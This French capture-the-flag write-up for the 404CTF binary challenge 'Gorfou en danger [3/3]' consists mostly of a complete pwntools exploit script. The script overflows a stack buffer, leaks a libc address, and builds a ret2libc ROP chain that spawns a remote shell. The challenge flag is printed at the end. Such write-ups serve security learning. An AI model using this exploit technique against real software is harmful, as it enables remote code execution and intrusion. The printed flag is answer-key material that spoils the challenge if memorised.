Gorfou en danger [3/3]

Catégorie: Exploitation de binaires - Difficulté: Facile

Description:

Solution:

Voici le script afin d'exploiter la vulnérabilité (il s'agit du même que pour le chall précédent) :

#!/usr/bin/env python3
from pwn import *
import re, sys

elf  = ELF('./chall')
libc = ELF('./libc.so.6')
context.binary = elf
# context.log_level = 'debug'   # décommente pour tout voir

OFFSET = 0x108                  # 0x100 buffer + 8 saved RBP

# ── connexion ────────────────────────────────────────────────────────────────
io = remote('challenges.404ctf.fr', 32465)

# ── 1) fuite d’adresse via debug_info() ──────────────────────────────────────
payload  = b'A' * OFFSET
payload += p64(elf.symbols['debug_info'])
payload += p64(elf.symbols['main'])      # on revient dans la boucle

io.recvuntil(b'> ')
io.send(payload)

leak = io.recvuntil(b'> ')
m = re.search(rb'printf address : (0x[0-9a-fA-F]+)', leak)
if not m:
    log.failure("Fuite printf introuvable"); sys.exit(1)

printf_leak = int(m.group(1), 16)
libc_base   = printf_leak - libc.symbols['printf']
log.success(f"libc base = {hex(libc_base)}")

# ── 2) gadgets & symboles calculés dans la libc ──────────────────────────────
rop = ROP(libc)
pop_rdi   = libc_base + rop.find_gadget(['pop rdi','ret']).address
ret_align = libc_base + rop.find_gadget(['ret']).address
system    = libc_base + libc.symbols['system']
bin_sh    = libc_base + next(libc.search(b'/bin/sh'))

# ── 3) payload final : system("/bin/sh") ─────────────────────────────────────
payload  = b'B' * OFFSET
payload += p64(ret_align)          # alignement 16 o
payload += p64(pop_rdi) + p64(bin_sh)
payload += p64(system)

io.sendline(payload)               # on envoie et on laisse courir

# ── 4) passer la main à l’utilisateur ────────────────────────────────────────
log.info("Shell obtenu — entre tes commandes (ex: cat flag.txt)")
io.interactive()

Lorsque nous lançons ce script, il nous permets d'avoir un shell sur le serveur distant :

🚩FLAG

404CTF{FELiC174TI0nS_!_cE_N_E$T_QUe_Le_DebUT_C0NTiNU32_À_4pPREnDR3_l3_pWn}

Last updated

Was this helpful?